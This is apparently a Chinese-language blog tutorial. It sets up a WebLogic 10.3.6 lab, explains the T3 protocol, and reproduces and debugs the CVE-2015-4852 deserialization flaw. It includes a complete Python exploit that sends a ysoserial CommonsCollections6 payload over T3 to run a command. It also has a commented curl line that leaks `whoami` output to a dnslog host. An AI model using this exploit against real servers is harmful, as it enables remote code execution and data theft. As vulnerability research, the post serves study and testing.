Weblogic学习1&&CVE-2015-4852分析
环境配置
weblogic下载链接: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
选择10.3.6的Generic版本下载
本地cmd执行:1
java -D64 -jar wls1036_generic.jar
这里报错了
上网查了一下发现路径不能有中文,换个目录,正常安装
一直下一步就行,安装完会自动运行quickstart
创建新的weblogic域,这里我会报错在执行/Middleware/wlserver_10.3/common/bin/config.exe的时候无法创建jvm,把jdk版本换成jdk1.7_80重新装一次就好了
一直下一步,配置域的名称和位置
配置管理员用户名和密码
下一步选择生产模式,jdk选择
下一步选受管服务器、集群和计算机
后面就一直下一步就行
安装完成后进入Middleware\user_projects\domains\base_domain
双击运行startWebLogic.cmd,输入刚才填的用户名和密码
访问: http://127.0.0.1:7001/console/login/LoginForm.jsp
配置debug:
在startWebLogic.cmd文件的前面加上:1
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
双击运行
观察本地9999端口
IDEA打开wlserver文件夹作为项目,library加入Middleware\wlserver_10.3\server\lib
文件夹,新建配置文件
双击shift,搜WLSServletAdapter,在handle函数下个断点
运行debug,访问: http://localhost:7001/wls-wsat/CoordinatorPortType
成功拦截
基础知识
T3协议
它是weblogic独有的一个协议,在weblogic中对rmi的传输就是使用的T3协议
它包含请求头和请求体
eg.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import socket
import time
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
T3Test(ip,port)
wireshark监听本地环回地址127.0.0.1:
筛选条件: tcp.port==7001
可以发现返回包里有weblogic的版本信息: 10.3.6.0
关于weblogic的请求体结构,我们参考z_zz_zzz师傅文章(原文链接: http://drops.xmd5.com/static/drops/web-13470.html)的图片:
第一个非Java序列化数据是我们的请求头t3 12.2.3 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
,后面的2到7部分数据都是序列化数据,我们只要修改其中一个为恶意数据发给服务端就可以造成反序列化攻击
还有一种攻击方式是将第一部分数据和恶意数据进行拼接
CVE-2015-4852
复现
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49import socket
import sys
import struct
import re
import subprocess
import binascii
import time
def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
time.sleep(1)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections6" #CommonsCollections1 Jdk7u21
command = "calc"
# command = "curl http://`whoami`.5dhwnx.dnslog.cn"
payload = get_payload1(gadget, command)
#payload=get_payload2('./pay.tmp')
exp(host, port, payload)
这里选的CC6不受jdk版本限制
注意:
- 当前文件夹放ysoserial.jar
- 这里我加入了一句time.sleep(1)是因为python socket 如果是频繁发包,会被服务端所拒绝,第一次recv的内容只有HELO没有后面的内容,if语句过不了会直接return如果注释掉sleep会只返回HELO,不注释就会返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import socket
import time
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
# time.sleep(1)
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
T3Test(ip,port)1
2
3HELO:10.3.6.0.false
AS:2048
HL:19
关键的数据拼接:1
2
3
4
5data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
分析
这里能调用成功是因为它自带了commons-collections的包
我们在InboundMsgAbbrev的readObject()方法下断点
先会调用ServerChannelInputStream的readObject()方法,而且ServerChannelInputStream是继承ObjectInputstream的
然后调用一系列的readObejct:1
2
3
4
5.readObject
ObjectInputstream.readObject0
ObjectInputstream.readOrdinary
...
InboundMsgAbbrev的resolveClass
这里super.resolveClass
还是调用了ObjectInputstream.resolveClass
此时的var2就是解析的java.util.hashSet
不断调用这个方法…
最后执行命令